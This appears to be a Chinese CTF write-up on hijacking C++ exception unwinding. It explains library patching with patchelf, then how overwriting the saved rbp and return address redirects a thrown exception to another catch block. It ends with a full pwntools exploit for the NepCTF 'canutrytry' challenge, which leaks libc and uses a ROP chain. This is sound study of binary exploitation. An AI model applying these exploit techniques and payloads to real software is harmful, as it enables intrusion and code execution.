pwn-C++异常处理利用

前置准备(如何更换一个c++编译而成的程序的依赖库)

一个题目如果需要用到libc的话,其他依赖库可能不会给你,但一般都会给libc,告诉是哪个版本的,我们需要获取对应版本的其他依赖库,这里给出的方法是从docker中拷贝

1.执行如下命令创建对应版本的docker,获取对应版本的依赖库,这条命令创建的是22.04的docker,扒的是2.35的libc,根据自己的需要更换版本

1
docker run -it ubuntu:22.04 /bin/bash

2.进入dorker后,这个版本对应的所有依赖库一般在/usr/lib/x86_64-linux-gnu目录下,通过ls命令可以查看到所有的依赖库(我的是这样的),然后通过docker的命令将自己所需要的依赖库拷贝到本地即可

1
2
3
docker cp your_docker_id://usr/lib/x86_64-linux-gnu/libc path/to/your_desktop
#你的docker_id可以通过docker ps查看
#在/usr/lib/x86_64-linux-gnu下的libstdc++.so.6和libseccomp.so.2是软链接,应该拷贝的是形如libseccomp.so.2.5.0或者是libstdc++.so.6.30这样的elf文件,而不是软链接(文件名可能写的不是很准确,知道意思就好)

3.通过patchelf更换一个文件的对应的依赖库,这个就不赘述了,主要就是通过这些命令替换

1
2
patchelf --replace-needed libc.so.6 ./libc.so.6 pwn
patchelf --set-interpreter ./ld-linux-x86-64.so.2 pwn

这里有个坑需要注意,困扰了我好长时间,我在更换libm.so.6的时候一直不成功,这是因为文件是通过libstdc++.so.6来连接libm.so.6的,需要更换libstdc++.so.6的依赖库,才可以修改成功

屏幕截图 2025-07-30 230730

1
patchelf --replace-needed ./libm.so.6 ./libm.so.6 libstdc++.so.6

这样就可以正确的更换所需的配套的依赖库了

C++异常处理分析

具体详细分析和讲解这里就不再说明了,大家可以参考这些大佬写的文章,很详细,文章1文章2

这里主要说以下我调试过程中的一些体会

1.try模块和catch模块是不会在ida里以伪代码的形式呈现的,需要在汇编指令窗口查看

2.当程序执行到__cxa_throw函数时,在这个函数里会调用_Unwind_RaiseException进行栈回退,并在_Unwind_RaiseException+463的地方查看目前回退到的这个函数栈帧是否存在catch模块可以捕获异常,如果存在,便会执行catch模块中的代码,否则会terminate强制程序终止

3.虽然编写C++代码时一个try对应的一个catch,正常情况栈回退会找到与之对应的catch模块,但是我们可以攻击栈回退时依赖的ret地址,使抛出的异常被其他try对应的catch捕获,这样就可以执行其他catch中的代码了,如果正好是后门函数,那就可以直接get_shell了

4.要想让throw抛出的错误被一个catch捕获,栈回退中的ret的地址必须是你想要执行的catch代码对应的try模块中的汇编指令或者是其仅挨着的下一条汇编指令,才能正确catch异常并执行catch模块中的代码

屏幕截图 2025-07-30 234009

比如上图中的try模块,要想catch后执行和这个try对应的catch中的的代码,你的ret地址必须是0x401eea~0x401f0b(0x401eea可能不行,没试过),但是如果超过了0x401f0b,就不会正确执行到catch中的代码,而是会执行terminate,ret的地址你可以在执行到_Unwind_RaiseException+463的时候查看,在rdx寄存器里

屏幕截图 2025-07-30 234837

像此时,程序执行到了_Unwind_RaiseException+463,而rdx里的值是0x401efc,显然在上图的范围内,这就说明这已经是最后_Unwind_RaiseException进行的最后一次栈回退了,这次回退过后就可以找到catch模块,然后去执行catch里的代码了

5.在进入__cxa_throw前的函数栈帧的rbp和ret的地址该覆盖为什么值,该怎么选择呢?

可以看到在进入__cxa_throw之前,rbp里储存的值是0x405460,而ret里储存的值是0x401ed9

屏幕截图 2025-07-30 235620

可以看到在Unwind_RaiseException执行完后rbp的值就变成了0x405460,而下一条指令执行的值0x401f19是0x401ed9对应的catch模块里的代码,通过这个关系,应该就可以按照自己的思路来布置自己的payload来覆盖rbp和ret了

屏幕截图 2025-07-30 235729

Nepnep2025 canutrytry

笔者太懒了,不想分析题目讲解exp了,这里放一遍大佬的wp大家参考吧,文章链接,相信通过上述的分析,一步一步调试exp,可以调懂的

原谅我折磨懒qaq

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
from pwn import *

context(arch="amd64", os="linux")
context.log_level='debug'
context.terminal = ["tmux", "splitw", "-v", "-l", "190"]

libc_base=0x0
heap_base=0x0
pie=0x0

def getshell() : return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/sh\x00'))

r = lambda a : p.recv(a)
rl = lambda a=False : p.recvline(a)
ru = lambda a : p.recvuntil(a)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
shell = lambda : p.interactive()
li = lambda offset :libc_base+offset
lis= lambda func :libc_base+libc.symbols[func]
pi = lambda offset :pie+offset
he = lambda offset :heap_base+offset
l32 = lambda :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32 = lambda :u32(p.recv(4).ljust(4,b'\x00'))
uu64 = lambda :u64(p.recv(6).ljust(8,b'\x00'))
ggg = lambda :(gdb.attach(p),pause())

def visit_1():
sla(b'your choice >>',b'1')
sla(b'your choice >>',b'1')

def visit_2(size):
sla(b'your choice >>',b'1')
sla(b'your choice >>',b'2')
sla(b'size:',str(size).encode())

def visit_3(index,content):
sla(b'your choice >>',b'1')
sla(b'your choice >>',b'3')
sla(b'index:',str(index).encode())
sa(b'content:',content)

def leave(index):
sla(b'your choice >>',b'2')
sla(b'index: ',str(index).encode())

libc=ELF('./libc.so.6')
# p=process('./canutrytry')
p = remote("nepctf30-re0p-1yod-ovkd-tywcgo6zc386.nepctf.com", 443, ssl=True)
visit_2(0x38)
visit_1()
visit_2(-1)
visit_1()
ru(b'setbufaddr:0x')
libc_base=int(ru('\n')[:-1],16)-0x87fe0-0x80
ru(b'stackaddr:0x')
stack=int(ru('\n')[:-1],16)
payload=b'a'*0x20+p64(0x405460)+p64(0x401ed9)

rdi=li(0x000000000002a3e5)
rsi=li(0x000000000002be51)
rdx_r12=li(0x000000000011f497)
write=lis('write')
visit_3(0,payload)
leave(0)
payload=p64(rdi)+p64(2)+p64(rsi)+p64(0x4053c0)+p64(rdx_r12)+p64(0x64)+p64(0)+p64(write)
sla(b'well,prepare your rop now!\n',payload)
sla(b'Enter your flag: ',b'aaa')
payload=b'a'*0x10+p64(0x405458)
print(hex(libc_base))
s(payload)
shell()